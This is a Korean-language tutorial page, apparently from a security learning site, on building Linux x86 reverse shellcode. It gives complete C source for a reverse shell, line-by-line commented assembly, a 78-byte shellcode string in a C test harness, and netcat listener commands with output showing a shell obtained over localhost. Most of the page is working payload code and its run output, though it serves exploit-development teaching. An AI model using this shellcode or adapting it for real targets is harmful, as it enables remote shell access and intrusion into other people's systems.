Excuse the ads! We need some help to keep our site up.
List
Reverse Shellcode
Bind Shellcode는 공격 대상에 Server 형태로 Port를 오픈해 클라이언트가 접속하는 방식입니다.
해당 방식은 방화벽이 적용된 시스템이 경우 쉽게 차단될 수 있습니다.
일반적으로 방화벽은 알려진 특정 포트를 제외하고는 들어오는 연결을 차단합니다.
소프트웨어 방화벽을 이용해 간단히 설정 가능합니다.
즉, Bind Shellcode는 방화벽에 의해 차단될 가능성이 큽니다.
하지만 방화벽은 외부로 나가는 통신에 대해서는 자유로운 편입니다.
즉, 공격 대상이 나의 PC에 접속하도록 할 수 있습니다.
Reverse Shellcode는 Port를 열어서 연결을 기다리는 대신, 공격자가 지정한 IP,Port로 연결합니다.
C language
- 아래와 같이 Bind shellcode와 많이 다르지 않습니다.
- socket() 함수를 이용해 통신을 위한 Socket을 생성합니다.
- connect() 함수를 이용해 서버에 접속합니다.
- dup2() 함수를 이용해 Socket() 함수에 의해 생성된 파일 디스크립터에 표준 스트림(입,출력,에러)을 복제(링크) 합니다.
- execve() 함수를 이용해 "/bin/sh" 프로그램을 실행합니다.
reverse.c
#include <stdio.h> #include <unistd.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> int main(void) { int i, server_sockfd; socklen_t socklen; struct sockaddr_in server_addr; char *argv[] = { "/bin/sh", NULL}; server_addr.sin_family = AF_INET; server_addr.sin_port = htons(2345); server_addr.sin_addr.s_addr = inet_addr("127.0.0.1"); server_sockfd = socket( AF_INET, SOCK_STREAM, IPPROTO_IP ); connect(server_sockfd, (struct sockaddr *)&server_addr, sizeof(server_addr)); for(i = 0; i <= 2; i++) dup2(server_sockfd, i); execve( "/bin/sh", argv, NULL ); }
Test program
- 다음과 같이 nc 프로그램을 이용해 port를 오픈합니다.
Create server
lazenca0x0@ubuntu:~$ nc -l -p 2345 -v Listening on [0.0.0.0] (family 0, port 2345)
- 앞에서 작성한 코드를 빌드 후 실행합니다.
Connect to the server
lazenca0x0@ubuntu:~/back$ gcc -o reverse reverse.c lazenca0x0@ubuntu:~/back$ ./reverse
- 해당 프로그램을 실행하면 nc로 오픈한 Port에 접속하게되며, nc를 이용해 "/bin/sh" 프로그램을 이용할 수 있습니다.
Client connected
lazenca0x0@ubuntu:~$ nc -l -p 2345 -v Listening on [0.0.0.0] (family 0, port 2345) Connection from [127.0.0.1] port 2345 [tcp/*] accepted (family 2, sport 55482) id uid=1000(lazenca0x0) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare) exit lazenca0x0@ubuntu:~$
Connect()
- connect() 함수는 생성한 소켓을 통해 서버로 접속을 요청합니다.
SYNOPSIS
int connect(int sockfd, const struct sockaddr *serv_addr, socklen_t addrlen);
- 해당 함수의 시스템 콜 번호는 3번입니다.
/usr/include/linux/net.h
lazenca0x0@ubuntu:~$ cat /usr/include/linux/net.h |grep connect #define SYS_CONNECT 3 /* sys_connect(2) */ SS_UNCONNECTED, /* unconnected to any socket */ SS_CONNECTING, /* in process of connecting */ SS_CONNECTED, /* connected to socket */ SS_DISCONNECTING /* in process of disconnecting */ lazenca0x0@ubuntu:~$
Assembly code
여기서 알아야 할 부분은 "server_addr.sin_addr.s_add"에 저장되는 값의 형태입니다.
- IP Address는 총 32bit이며, 8 bit 단위로 구분하여 표시합니다.
- 아래와 같이 Shellcode에서 8bit 단위로 IP Address를 표현합니다.
- 127.0.0.1은 127.1.1.1로 대체 가능합니다.
IP Address
IP Address | 127.1.1.1 |
---|---|
Hex | 7f.01.01.01 |
Little-endian format | 0x0101017f |
reverse-asm.s
BITS 32 ;socket( AF_INET, SOCK_STREAM, IPPROTO_IP ); push BYTE 102 ; socketcall의 시스템 콜 번호 102를 Stack에 저장합니다. pop eax ; Stack에 저장된 시스템 콜 번호를 EAX 레지스터에 저장합니다. cdq ; EDX 레지스터에 DWORD 크기의 Null byte를 저장합니다. push dword 1 ; socket 함수의 호출 번호 1을 Stack에 저장합니다. pop ebx ; socketcall() 함수의 1번째 인자(EBX 레지스터)값으로 SYS_SOCKET(1)을 저장 합니다. ;두번째 인자에 전달할 인자 배열을 생성 push edx ; socket() 함수의 3번째 인자 값 0을 Stack에 저장합니다. push ebx ; socket() 함수의 2번째 인자 값 SOCK_STREAM(1)을 Stack에 저장합니다. push BYTE 2 ; socket() 함수의 1번째 인자 값 PF_INET(2)을 Stack에 저장합니다. mov ecx, esp ; socketcall() 함수의 2번째 인자(ECX 레지스터)값으로 인자 배열의 시작 주소값(ESP 레지스터)을 저장 합니다. int 0x80 ;server_sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_IP) xchg edx,eax ; 소켓 함수로 부터 리턴받은 값을 EDX 레지스터에 저장합니다. ;connect(server_sockfd, (struct sockaddr *)&server_addr, sizeof(server_addr)); mov al, 0x66 ; socketcall의 시스템 콜 번호 102를 Stack에 저장합니다. ;struct sockaddr_in server_addr; push DWORD 0x0101017f ; server_addr.sin_addr.s_addr = inet_addr("127.1.1.1"); Little-endian push WORD 0x2909 ; server_addr.sin_port = htons(2345); Little-endian inc ebx ; push WORD bx ; server_addr.sin_family = AF_INET; mov ecx, esp ; ECX레지스터에 server_addr 구조체의 시작 주소를 저장합니다. push BYTE 16 ; connect() 함수의 3번째 인자 값 16을 Stack에 저장합니다. push ecx ; connect() 함수의 2번째 인자 값 &server_addr을 Stack에 저장합니다. push edx ; connect() 함수의 1번째 인자 값 server_sockfd를 Stack에 저장합니다. mov ecx, esp ; socketcall() 함수의 2번째 인자 값을 ECX 레지스터에 저장 합니다. inc ebx ; socketcall() 함수의 1번째 인자 값으로 SYS_CONNECT(3)를 저장하게 됩니다. int 0x80 ;for(i = 0; i <= 2; i++) ; dup2(server_sockfd, i); xchg edx,ebx ; dup2 함수의 1번째 인자값으로 socket() 함수에 의해 생성된 파일 디스크립터(0x5)를 저장합니다. push BYTE 0x2 ; Stack에 2 저장합니다. pop ecx ; dup2 함수의 2번째 인자값으로 2 를 저장 합니다. dup2_call: mov BYTE al, 0x3F ; dup2 함수의 시스템 콜 번호(63)를 AL 레지스터에 저장합니다. int 0x80 ; dec ecx ; dup2() 함수의 2번째 인자값을 감소(-1) 시킵니다. jns dup2_call ; 부호 플래그가 거짓(0)이면 dup2_call로 점프 합니다. ;execve( "/bin/sh", argv, NULL ); mov BYTE al, 11 ; execve() 시스템 함수의 콜 번호 11을 EAX레지스터에 저장합니다. xor edx, edx push edx ; 문자열의 끝을 알리기 위해 Null을 먼저 Stack에 저장합니다. push 0x68732f2f ; 문자 "//sh"를 Stack에 저장합니다. Little-endian push 0x6e69622f ; 문자 "/bin"를 Stack에 저장합니다. Little-endian mov ebx, esp ; execve() 함수의 1번째 인자값으로 ESP 레지스터의 값을 저장합니다. push edx ; Stack에 Null을 저장합니다. mov edx, esp ; execve() 함수의 3번째 인자값으로 Null이 저장된 배열의 주소(ESP)를 저장합니다. push ebx ; Stack에 "/bin//sh" 문자의 시작주소(EBX)를 저장합니다. mov ecx, esp ; execve() 함수의 2번째 인자값으로 배열의 주소(ESP,["/bin//sh"],[Null])를 저장합니다. int 0x80 ;
Test program
revShell.c
#include<stdio.h> #include<string.h> unsigned char shellcode [] = "\x6a\x66\x58\x99\x6a\x1\x5b\x52\x53\x6a\x2\x89\xe1\xcd\x80\x92\xb0\x66\x68\x7f\x1\x1\x1\x66\x68\x9\x29\x43\x66\x53\x89\xe1\x6a\x10\x51\x52\x89\xe1\x43\xcd\x80\x87\xd3\x6a\x2\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\xb\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80"; unsigned char code[] = ""; void main() { int len = strlen(shellcode); printf("Shellcode len : %d\n",len); strcpy(code,shellcode); (*(void(*)()) code)(); }
- nc 프로그램을 이용해 클라이언트의 연결을 기다립니다.
lazenca0x0@ubuntu:~$ nc -lvp 2345 Listening on [0.0.0.0] (family 0, port 2345)
- reverse.c 를 빌드 후 실행합니다.
lazenca0x0@ubuntu:~/Reverse$ gcc -o revShell -z execstack -m32 revShell.c lazenca0x0@ubuntu:~/Reverse$ ./revShell Shellcode len : 78
- Shellcode에 의해 nc 프로그램에 "/bin/sh" 프로그램이 연결되었습니다.
lazenca0x0@ubuntu:~$ nc -lvp 2345 Listening on [0.0.0.0] (family 0, port 2345) Connection from [127.0.0.1] port 2345 [tcp/*] accepted (family 2, sport 48860) id uid=1000(lazenca0x0) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)